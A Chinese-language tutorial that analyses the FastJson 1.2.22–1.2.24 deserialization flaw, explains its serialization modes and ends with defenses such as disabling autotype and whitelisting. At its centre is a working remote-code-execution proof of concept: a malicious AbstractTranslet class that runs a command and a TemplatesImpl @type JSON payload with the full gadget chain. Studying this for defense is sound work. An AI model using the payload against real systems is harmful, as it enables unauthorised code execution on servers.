FastJson安全初探-反序列化漏洞回顾分析
字数 1737 2025-08-25 22:58:55
FastJson反序列化漏洞深入分析与利用
一、FastJson简介
FastJson是阿里巴巴的开源JSON解析库,主要功能包括:
- 解析JSON格式的字符串
- 将Java Bean序列化为JSON字符串
- 从JSON字符串反序列化到Java Bean
序列化基础
// 序列化示例
User a = new User();
String jsonstr_a = JSON.toJSONString(a);
自省与非自省序列化
非自省序列化:标准的JSON序列化,不包含类型信息
自省序列化:通过SerializerFeature.WriteClassName参数,在JSON中包含类型信息
// 自省序列化示例
String jsonstr_a = JSON.toJSONString(a, SerializerFeature.WriteClassName);
// 结果中包含@type字段:{"@type":"User","age1":"a1",...}
二、FastJson反序列化机制
反序列化方式
- 非自省反序列化:
User b = JSON.parseObject(jsonstr_a, User.class);
- 自省反序列化:
JSONObject b = JSON.parseObject(jsonstr_a);
// 或
Object b = JSON.parse(jsonstr_a);
- 支持私有字段反序列化:
User b = JSON.parseObject(jsonstr_a, User.class, Feature.SupportNonPublicField);
反序列化时的调用规则
| 反序列化方式 | 调用的方法 |
|---|---|
parseObject(text, Class) |
构造方法 + setter + 满足条件额外的getter |
JSONObject parseObject(text) |
构造方法 + setter + getter + 满足条件额外的getter |
parse(text) |
构造方法 + setter + 满足条件额外的getter |
三、FastJson 1.2.24反序列化漏洞
漏洞原理
FastJson在1.2.22-1.2.24版本中存在反序列化漏洞,主要原因:
- 支持通过
@type字段指定反序列化的目标类 - 反序列化时会自动调用对象的构造方法、setter和getter方法
利用方式
- JdbcRowSetImpl(JNDI)
- TemplatesImpl(Feature.SupportNonPublicField)
四、TemplatesImpl利用链分析
恶意类示例
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;
public class poc_1 extends AbstractTranslet {
public poc_1() throws IOException {
Runtime.getRuntime().exec("calc");
}
// 必须实现的抽象方法
public void transform(...) {...}
public void transform(...) {...}
}
POC构造
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"恶意类字节码base64\"]," +
"\"_name\":\"c.c\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
关键字段说明
@type:指定反序列化目标类为TemplatesImpl_bytecodes:恶意类字节码(需Base64编码)_name:不能为null,否则直接return_tfactory:不能为null,否则会抛出异常_outputProperties:触发getOutputProperties方法调用链
漏洞触发流程
- FastJson解析JSON字符串,识别
@type字段 - 加载并实例化
TemplatesImpl类 - 通过反射设置
_bytecodes等字段 - 解析
outputProperties时调用getOutputProperties方法 - getOutputProperties方法调用链:
getOutputProperties()newTransformer()getTransletInstance()defineTransletClasses()(加载恶意字节码)_class[_transletIndex].newInstance()(实例化恶意类)
五、漏洞利用关键点
-
字节码要求:
- 必须继承
AbstractTranslet - 必须实现
AbstractTranslet的抽象方法 - 恶意代码可写在构造函数中
- 必须继承
-
FastJson特性利用:
- 必须使用
Feature.SupportNonPublicField(因为_bytecodes是private字段) - 通过
outputProperties触发getter调用链
- 必须使用
-
环境要求:
- Java 8环境(因为利用了
com.sun.org.apache.xalan.internal包) - FastJson 1.2.22-1.2.24版本
- Java 8环境(因为利用了
六、防御措施
- 升级FastJson到最新安全版本
- 关闭
autotype功能:ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 使用白名单机制:
ParserConfig.getGlobalInstance().addAccept("com.example.safe."); - 避免反序列化不可信的JSON数据
七、总结
FastJson反序列化漏洞的核心在于:
- 自省功能(
@type)允许指定任意类进行反序列化 - 反序列化过程中自动调用getter/setter方法
- 结合Java特定类(
TemplatesImpl)的方法调用链实现RCE
理解这一漏洞需要对FastJson的工作机制、Java反射机制和类加载机制有深入认识,才能有效防御此类漏洞。